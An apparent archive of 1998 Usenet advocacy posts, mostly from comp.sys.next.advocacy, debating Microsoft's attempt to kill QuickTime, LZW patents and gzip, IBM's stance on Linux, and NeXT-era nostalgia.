This is why eventually MS will fail if they don't change their way of
conducting business (and there isn't any sign in this respect, on the
contrary). NOT because of Linux.
AFAIK their well known CEO was one a Harvard Business School student
who abandoned his studies ... maybe too soon to understand the
principles of a good business.
Many analysts say that Windows NT 5.0 have become too big to be
managed (agree) and it should be killed. IMHO they are wrong here,
I think MS have pockets deep enough to pull out not only the next
version but also the one after, only then even MS will be crushed by
the size of the project, unless they do another rewrite that is ;-)
Cheers,
--
-----BEGIN GEEK CODE BLOCK-----
Version: 3.12
GS/GM d- s+:+ a C++++>$ UL++(+++) P+ L+++ E++ W+(++) N+(++) o K-
w-- O- M- V- PS PE Y+ PGP+(++) t-- 5? X- R tv- b++(+++) DI D-- G
e+++ h--- r+++ y?
------END GEEK CODE BLOCK------
Newsgroups: comp.os.linux.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft wants your help
References: <7239gp$f42$1@nnrp1.dejanews.com>
From: Robert Nicholson <steffi@shell8.ba.best.com>
Date: 09 Nov 1998 12:13:19 -0800
Message-ID: <yl390hkvd40.fsf@shell8.ba.best.com>
Where I draw the line with microsoft is their business practices. There
appears to be a clear pattern that illustrates that Microsoft feels that
they can use their monopoly to pressure vendors from dealing with their
competitors. That is anti-competitive. If Microsoft has innovated anything
it's their licensing practices. Microsoft shouldn't be allowed to
use the monopoly to seal exclusive contracts. Exclusive contracts may
not be against the law but using ones monopoly as the main reason for
succumbing to one particular supplier is and wrong is not beneficial to
consumers. That is where Microsoft has crossed the line. They cannot
show that the reason why vendors are using their products exclusively is
because their products consistently perform better or are technologically
superior than their competitors. That's there only away out of this case
and it's not going to happen.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <364a592c.0@206.152.250.12>
Control: cancel <364a592c.0@206.152.250.12>
Date: 12 Nov 1998 04:19:50 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.364a592c.0@206.152.250.12>
Sender: Furbys@furbys.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: I grow old.. Was: Re: iMac for $29
Date: 9 Nov 1998 20:09:12 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <727i58$d2b$2@sun27.hrz.tu-darmstadt.de>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net>
forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
>In article <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de>,
>neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
>
>> >"And what operating system would you care to run it on?" he responded
>> >ironically.
>>
>> Yes, it will.
>
>Really? I didn't know it would run on What OS! Howcome the big news sites
>haven't mentioned this? This is such a boon for What OS! It's first
>application!
>
>(for the humor impaired, that's a joke. A joke, son, ya get it? A fun, I
>say funny, boy! Yer supposed t' laugh! Bright kid ya got here ma'am, but a
>little on the slow, I say slow side, ya hear?).
"If I poke myself in the head with this pencil, will it hurt?"
Obscure historical reference. Never mind. "I was trying to be funny,
but it didn't work", to quote one of your president :-)
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// fax: (+49) 6151 16 5472
From: irclark@latveria.castledoom.org (Isaac)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 12 Nov 1998 04:31:58 GMT
Organization: MindSpring Enterprises
Message-ID: <slrn74lf7e.lvl.irclark@latveria.castledoom.org>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <3648598C.5F2@xixaxsxtxaxtxex.xexdxu> <36493904.EE30DDDA@ix.netcom.com> <3649A936.2E90@xixaxsxtxaxtxex.xexdxu> <3649C252.2B159F1A@ix.netcom.com>
On Wed, 11 Nov 1998 16:58:58 +0000, Karsten M. Self <kmself@ix.netcom.com>
wrote:
>
>Methods of arriving at a protocol can be patented, as in the GIF image
>format (depends on LZW compression) or the current M3 audio format.
>It's the method required to generate the end-product, however, and
>not the end-product itself which are protected, AFAIK. Note that LZW
>patents cover compression but not decompression -- this is why gzip is
>able to read, though not write, 'compress' (LZW) produced zip files.
>
This makes logical sense, but as you indicated it shouldn't be
considered legal advice. Last time I checked on this Unisys seem to
think that decompression was covered by their patent. Is there some
evidence that they've recanted this position?
Isaac
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 9 Nov 1998 20:24:12 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <727j1c$mqm@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <F25z88.HII@t-fcn.net>
Originator: gupta@tlctest
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>
>> "Quicktime" is not now nor has ever been a
>> large revenue producer for Apple.
>
> This clearly indicates *you're* missing the point. The "point" never had
>anything to do with money, it has to do with control. How could you
>possibly characterize Apple's revenue of QT to have anything to do with the
>issue when the whole trial is over two _free_ pacakges, Netscape and IE?
Exactly, and here is how control works. According to the latest article
on Quicktime on ZDNet, Quicktime will use an industry-standard
streaming media protocol, RTSP, for live file-streaming.
Quote : "The decision to base its technology on RTSP, developers said,
allows Quicktime content to continue to be streamed from standard Web
servers rather than from the type of proprietary streaming media servers
that Microsoft and RealNetworks bank on."
***
So, you see, it is in Microsoft's interest to kill Quicktime.
Otherwise there is one less reason for NT Server + IIS.
BTW: a UK magazine reports that WebTV will not support RealNetworks'
latest 3 versions of Real Audio. It remains to be seen whether
this helps kill RealNetworks or whether it makes WebTV that much
less attractive to consumers.
WebTV, owned by Microsoft, denies that it is being influenced by
Microsoft.
-arun gupta
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 04:42:46 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72dp06$1ks@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com>
On Wed, 11 Nov 1998 17:27:10 -0500, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>Sal Denaro wrote:
>> They also sell a "Pro" version of the software. It is also subject to
>> licensing by 3rd parties at a higher fee.
>>
>> I doubt that QT _hasn't_ had a positive effect on Apple's bottom line. At
>> the very least, it has provided Apple with a solid platform for 3rd parties
>> to build content creation Apps on the Mac. And Apple has publicly stated
>> that they consider content creation to be an important market for Apple
>> products.
>
>Please excuse my confusion, here, because folks are acting like
>*something was actually done by Microsoft to kill Quicktime*
No, something was done by MS in an attempt to kill Quicktime.
Attempted murder is still a crime. Just because Apple managed to pull
the baby away in time, doesn't change the fact that MS attempted to
knife the baby.
>when the
>deal went through and Apple got both its money and its browser and
>Quicktime is still very much around.
This sounds like some kind of MS apologist spiel.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux Apps on OSX
Date: 12 Nov 1998 04:42:47 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72dp07$1ks@news1.panix.com>
References: <3649C384.DEE7E7E1@voy.net>
On Wed, 11 Nov 1998 12:04:04 -0500, Corey Winesett <winesett@voy.net> wrote:
>After reading about the possible death of Wordperfect for the Mac, I
>wondered about the possibility of the Linux version being ported to
>OSX's BSD layer. Is this likely?
WP for Unix (and Linux) uses X11 and IIRC Motif. I doubt that OSX will
ship with either.
>How different are the various Unixes? Can this type of port be done
>easily?
If OSX had X11 and Motif, I doubt there would be much of a problem.
Assuming OSX ships with X, there is no guarantee that WP on X11 would
"just work" with other parts of OSX. There is no guarantee that it would
be Apple Script savvy, or use services or have drag and drop work with
all other Apps.
A much more likely scenario is the use of Carbon to port to OSX. If you
want it, ask WP to do it.
From: cbbrowne@news.brownes.org (Christopher B. Browne)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 12 Nov 1998 05:03:40 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <slrn74kqlg.sri.cbbrowne@godel.brownes.org>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <935681C33D3E3A16.6DEC2EC60DE57E5D.DEAC9FAC3078F03E@library-proxy.airnews.net> <3649A58E.A3BE88BC@ieee.org> <3649BD77.4699D073@ix.netcom.com>
NNTP-Posting-Date: 12 Nov 1998 05:03:40 GMT
On Wed, 11 Nov 1998 16:38:15 +0000, Karsten M. Self <kmself@ix.netcom.com>
posted:
>To date, IBM has been friendly toward OSS & Linux, and might be seen
>more as a friend than a foe. They've positioned themselves as a service
>company, not strictly HW or SW, and look to be in a position to profit
>by OSS and probably even protect it to an extent with their portfolio.
>Which doesn't mean that caution should be thrown to the wind when
>dealing with them, but it's nice to have them on our side.
Which is all well and good, but of limited use.
IBM's involvement, thus far, has been pretty much directed towards "kill NT"
activities, particularly via support of Apache.
Apache is "server-oriented," and isn't assisted *that* much by special
kernel facilities.
It *does* make sense for IBM to throw their "patent portfolio" weight around
for the purpose of supporting their interests in keeping Apache "faster and
more powerful" than MS IIS.
That doesn't naturally extend to IBM having interest in supporting other
patent-related issues.
More to the point, a lot of Microsoft's patents have been directed to the
way GUI elements work.
It is not obvious that it is IBM's interests to *care* about whether Linux
is successful on the desktop.
Counterarguments can surely be presented to these points; Usenet is full of
people making both intelligible and inept counterarguments. (Mostly the
latter...)
I guess I'm just suggesting that just because someone is the enemy of our
enemy, does not mean that they are guaranteed to be our friends.
--
Those who do not understand Unix are condemned to reinvent it, poorly.
-- Henry Spencer <http://www.hex.net/~cbbrowne/lsf.html>
cbbrowne@hex.net - "What have you contributed to Linux today?..."
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
Date: Mon, 9 Nov 1998 15:50:48 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <727kku$rih@shelob.afs.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de>
Christian Neuss wrote in message <727i58$d2b$2@sun27.hrz.tu-darmstadt.de>...
>"If I poke myself in the head with this pencil, will it hurt?"
>
>Obscure historical reference. Never mind. "I was trying to be funny,
>but it didn't work", to quote one of your president :-)
If it makes you feel any better, Chris, I got it the first time. And since
you were basically aiming it at me, you succeeded.
For the history impaired, one of PasteUp's first slogans (when it was still
owned by RightBrain) was "Yes, it will." As in, "Will it have this feature?"
"Yes, it will." Later, Glenn Reid put together *the* classic NeXT ad when he
featured a lady in a stock photograph straight out of the 50s holding a
pencil in such a way that "If I poke myself in the head with this pencil,
will it hurt?" was the perfect joke caption. Of course, the answer was,
"Yes, it will." EVERYONE who ever had a NeXTstation remembers that ad.
My company's ownership of PasteUp post-dates these events. But I still get
email from former customers who own "Yes, it will" T-shirts.
Greg
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 9 Nov 1998 21:00:20 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <727l54$nqo@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <36462729.BDFBC1C0@spamtoNull.com> <F25z88.HII@t-fcn.net> <727j1c$mqm@newsb.netnews.att.com>
Originator: gupta@tlctest
<gupta@knim.tm.tta.moc-mirror after @> wrote:
> Quote : "The decision to base its technology on RTSP, developers said,
> allows Quicktime content to continue to be streamed from standard Web
> servers rather than from the type of proprietary streaming media servers
> that Microsoft and RealNetworks bank on."
Well, actually the RTSP standard was apparently authored mostly by
Netscape and RealNetworks;
it is Microsoft's Netshow that appears to be based on a proprietary standard.
***
-arun gupta
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
Date: 9 Nov 1998 21:09:10 GMT
Organization: MiscKit Development
Message-ID: <727llm$743$1@news.xmission.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com>
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NNTP-Posting-Date: 9 Nov 1998 21:09:10 GMT
"Greg Anderson" <greg@afs.com> wrote:
> Christian Neuss wrote in message <727i58$d2b$2@sun27.hrz.tu-
> darmstadt.de>...
> >"If I poke myself in the head with this pencil, will it hurt?"
> >
> >Obscure historical reference. Never mind. "I was trying to be funny,
> >but it didn't work", to quote one of your president :-)
>
> [...]
> EVERYONE who ever had a NeXTstation remembers that ad. [...]
Right said. In fact, I still have all my old NeXTWorld issues, and the ad is
in there...along with other ads from the period containing Lighthouse
Design's way too cool "fine print"...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: "Knife the baby" finally appears
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <727kbv$ris$1@nnrp1.dejanews.com>
Message-ID: <36475d98.0@news.depaul.edu>
Date: 9 Nov 98 21:24:40 GMT
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > > You need to reread the testimony... Avie mrely repeated.... the quotes
> > > "... so you want us to knife the baby? Yes, knife the baby "were made by
> > > Apple and M$ reps in the infamous kill Quickitme meetings.
> >
> > How could you miss the point? "Quicktime" is not now nor has ever been a
> > large revenue producer for Apple. Apple has *given it away* FREE for
> > years.
> > [snip] ... You don't
> > have to be a bright person to read between the lines to see that the
> > real conversation was that MS was saying, tactfully, "You aren't making
> > any money with it anyway, so why not throw in your lot with us and let's
> > do something jointly that we *both* might benefit from."
What, exactly, is advantageous for Apple? Let's see: Microsoft
would make playback software, Apple would make editing/creation
software. Microsoft then gains yet another weapon to hold
over Apple - they could cancel the Mac version of the playback
software, making MacOS useless for creating/editing multimedia.
Sounds like a *great* deal, Harker. Not for Apple though.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Mon, 09 Nov 1998 16:23:25 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-0911981623250001@pelli.pathology.pitt.edu>
References: <727dne$k75@newsb.netnews.att.com> <isthatspam-0911981445340001@99.chestnut.fcc.net>
Mail-Copies-To: pxpst2@unixs.cis.pitt.edu
In article <isthatspam-0911981445340001@99.chestnut.fcc.net>,
isthatspam@*spambites**aol.com (John Caravagio) wrote:
> In article <727dne$k75@newsb.netnews.att.com>,
> gupta@knim.tm.tta.moc-mirror after @ wrote:
>
> > Believe it or not, Micron, Dell and HP are among the PC vendors
> > who plan to ship PCs with Windows 2000 Beta 3 preloaded !!!
> >
> > -arun gupta
>
> Woo hoo...*snore*
>
> This is MAC advocacy, Sparky. Who cares what those numbskulls are up to.
> Post this _exciting_ news to a more appropriate newsgroup.
>
C'mon John give arun a break. It is funny to know that their is some dim
wits that whould buy a computer with a beta OS and then get charged for
it.
Arun,
Thanks for the note. I would never have known what goes on " in the dark side"
Peter
--
"don't you eat that yellow snow
Watch out where the huskies go"
FZ
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 12 Nov 1998 05:55:49 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72dt95$346@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36462729.BDFBC1C0@spamtoNull.com> <727kbv$ris$1@nnrp1.dejanews.com> <364A1064.72AFE339@spamtonull.com> <72d7ep$2mk@newsb.netnews.att.com> <364A66ED.19E94AF6@exu.ericsson.se>
On Wed, 11 Nov 1998 22:41:17 -0600, Michael Peck
<eusmpec@exu.ericsson.se> wrote:
>gupta@knim.tm.tta.moc-mirror, after, @ wrote:
>> Since Apple, Sun, Netscape, etc. hardly dominate anything, the
>> application of the rule to them appears to be different.
>> But, for example, if Apple ever got dominance in multi-media
>> via Quicktime, it should be illegal for them to try to convert
>> this into an OS dominance (though how that might work seems
>> rather far-fetched).
>
>This would've helped a lot in high-school. I knew a lot of athletic,
>good-looking guys who had a virtual monopoly on pretty girls. They'd
>even double- and triple-up, keeping extra girls on the side. Wasn't fair
>at all; there should've been some rule against people with that kind of
>dominance taking advantage of it and getting us losers cut from the
>varsity soccer team. 'Twas a well-known fact at my high school that
>girlfriend-less geeks didn't get positions.
The existence of "jocks" in no way obligates the "pretty girls" to date
them, just as the existence of QuickTime and AVI in no way obligates users
to use it.
The "pretty girls" are free to choose whom they date.
When MS uses extortion and other coercive tactics, they are denying consumers
the right to choose. Just because I choose to run Windows, doesn't give MS
the right to restrict my choice in what else I run. When MS works to remove
QuickTime from the market, without the consumer having a choice, they are
abusing their position.
How are the jocks keeping the "pretty girls" from choosing? The jocks are not
allowed to keep them against their will. They are not allowed to keep them
from dating anyone they would like to date.
It would be like those high school geeks going up to the jocks and demanding
that if they don't refrain from dating "pretty girls"; calculus and star trek
trivia will be added to the curriculum.
>Somebody take the blindfold off the statue of Justice! We know she's
>just pretending! Wouldn't want anyone to suffer confusion over it...
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
Date: Mon, 9 Nov 1998 16:38:37 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <727nej$rs8@shelob.afs.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com> <727llm$743$1@news.xmission.com>
Don Yacktman wrote in message <727llm$743$1@news.xmission.com>...
>Right said. In fact, I still have all my old NeXTWorld issues, and the ad
is
>in there...along with other ads from the period containing Lighthouse
>Design's way too cool "fine print"...
Yeah, that was one funny company before they moved from Bethesda to San
Mateo and went corporate...
Greg
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <rbarris-ya023280000911981416190001@206.82.216.1>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <727kbv$ris$1@nnrp1.dejanews.com> <36475d98.0@news.depaul.edu>
Organization: Quicksilver Software, Inc.
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Date: Mon, 09 Nov 1998 14:16:19 -0800
NNTP-Posting-Date: Mon, 09 Nov 1998 14:15:19 PDT
In article <36475d98.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> > Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > > > You need to reread the testimony... Avie mrely repeated.... the quotes
> > > > "... so you want us to knife the baby? Yes, knife the baby "were made by
> > > > Apple and M$ reps in the infamous kill Quickitme meetings.
> > >
> > > How could you miss the point? "Quicktime" is not now nor has ever been a
> > > large revenue producer for Apple. Apple has *given it away* FREE for
> > > years.
> > > [snip] ... You don't
> > > have to be a bright person to read between the lines to see that the
> > > real conversation was that MS was saying, tactfully, "You aren't making
> > > any money with it anyway, so why not throw in your lot with us and let's
> > > do something jointly that we *both* might benefit from."
But that's kind of like saying Apple doesn't make money on MacOS because
it too is bundled with the computer.
QuickTime drives a lot of hardware and software purchases that support
the overall Mac platform. Just because Apple doesn't directly make money
from the QT libraries themselves is to overlook this important point.
Rob
"embrace, extend, extinguish, where have I heard this before"
Message-ID: <364A0F3E.912B8E3E@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com>
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Content-Transfer-Encoding: 7bit
Date: Wed, 11 Nov 1998 17:27:10 -0500
NNTP-Posting-Date: Wed, 11 Nov 1998 22:20:40 GMT
Organization: CWIX
Sal Denaro wrote:
>
> They also sell a "Pro" version of the software. It is also subject to
> licensing by 3rd parties at a higher fee.
>
> I doubt that QT _hasn't_ had a positive effect on Apple's bottom line. At
> the very least, it has provided Apple with a solid platform for 3rd parties
> to build content creation Apps on the Mac. And Apple has publicly stated
> that they consider content creation to be an important market for Apple
> products.
Please excuse my confusion, here, because folks are acting like
*something was actually done by Microsoft to kill Quicktime* when the
deal went through and Apple got both its money and its browser and
Quicktime is still very much around.
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Thu, 12 Nov 1998 07:25:20 +0000
Organization: Self Analysis
Message-ID: <364A8D60.607D1F07@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <3648598C.5F2@xixaxsxtxaxtxex.xexdxu> <36493904.EE30DDDA@ix.netcom.com> <3649A936.2E90@xixaxsxtxaxtxex.xexdxu> <3649C252.2B159F1A@ix.netcom.com> <slrn74lf7e.lvl.irclark@latveria.castledoom.org>
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Isaac wrote:
>
> On Wed, 11 Nov 1998 16:58:58 +0000, Karsten M. Self <kmself@ix.netcom.com>
> wrote:
> >
> >Methods of arriving at a protocol can be patented, as in the GIF image
> >format (depends on LZW compression) or the current M3 audio format.
> >It's the method required to generate the end-product, however, and
> >not the end-product itself which are protected, AFAIK. Note that LZW
> >patents cover compression but not decompression -- this is why gzip is
> >able to read, though not write, 'compress' (LZW) produced zip files.
> >
>
> This makes logical sense, but as you indicated it shouldn't be
> considered legal advice. Last time I checked on this Unisys seem to
> think that decompression was covered by their patent. Is there some
> evidence that they've recanted this position?
Hmmm.... Ok, you caught me being more distinct than I intended.... I
seem to recall reading about decompression of files produced by
"compress" around one of the FSF or LPF websites. Wouldn't swear to
it. I do know that gzip manages to read .Z files though. Probably a
good question for news:gnu.misc.discuss. It may be that there is more
than one way to decompress a file and that gzip uses a non-patented
method. This is pure speculation on my part.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
11:21pm up 4 days, 15:35, 3 users, load average: 0.34, 0.12, 0.09
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 11 Nov 1998 23:31:09 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <72d6nt$295@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <F25z88.HII@t-fcn.net> <727j1c$mqm@newsb.netnews.att.com> <364A0FCF.C74FA148@spamtonull.com>
Originator: gupta@tlctest
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
>gupta@knim.tm.tta.moc-mirror, after, @ wrote:
>>
>> So, you see, it is in Microsoft's interest to kill Quicktime.
>> Otherwise there is one less reason for NT Server + IIS.
>
>But as I pointed out, Quicktime is still very much around even though
>the deal with MS was completed long ago.
Quicktime is still around because Apple didn't budge.
Somebody tried to mug you, but you fought back. You ended up
not being robbed. Doesn't justify the mugger.
-arun gupta
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2At2v.8B7@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com>
Date: Thu, 12 Nov 1998 07:35:18 GMT
Sender: adt@netcom14.netcom.com
Rick (nojunkhattonr@aug.com) wrote:
: Yes, you've missed everything. MS threatend Apple with its corproate
: life. Apple decided to not knuckle under to MS. The threat is illegal.
: What dont you see?
So one company denying software that a different company needs to survive
would be illegal? I hope the lawyers for the former Mac clone vendors
aren't reading. :-)
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Thu, 12 Nov 1998 07:46:05 +0000
Organization: Self Analysis
Message-ID: <364A923D.1E5D1B7D@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <935681C33D3E3A16.6DEC2EC60DE57E5D.DEAC9FAC3078F03E@library-proxy.airnews.net> <3649A58E.A3BE88BC@ieee.org> <3649BD77.4699D073@ix.netcom.com> <slrn74kqlg.sri.cbbrowne@godel.brownes.org>
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Christopher B. Browne wrote:
>
> On Wed, 11 Nov 1998 16:38:15 +0000, Karsten M. Self <kmself@ix.netcom.com>
> posted:
> >To date, IBM has been friendly toward OSS & Linux, and might be seen
> >more as a friend than a foe. They've positioned themselves as a service
> >company, not strictly HW or SW, and look to be in a position to profit
> >by OSS and probably even protect it to an extent with their portfolio.
> >Which doesn't mean that caution should be thrown to the wind when
> >dealing with them, but it's nice to have them on our side.
>
> Which is all well and good, but of limited use.
>
> IBM's involvement, thus far, has been pretty much directed towards "kill NT"
> activities, particularly via support of Apache.
>
> Apache is "server-oriented," and isn't assisted *that* much by special
> kernel facilities.
>
> It *does* make sense for IBM to throw their "patent portfolio" weight around
> for the purpose of supporting their interests in keeping Apache "faster and
> more powerful" than MS IIS.
>
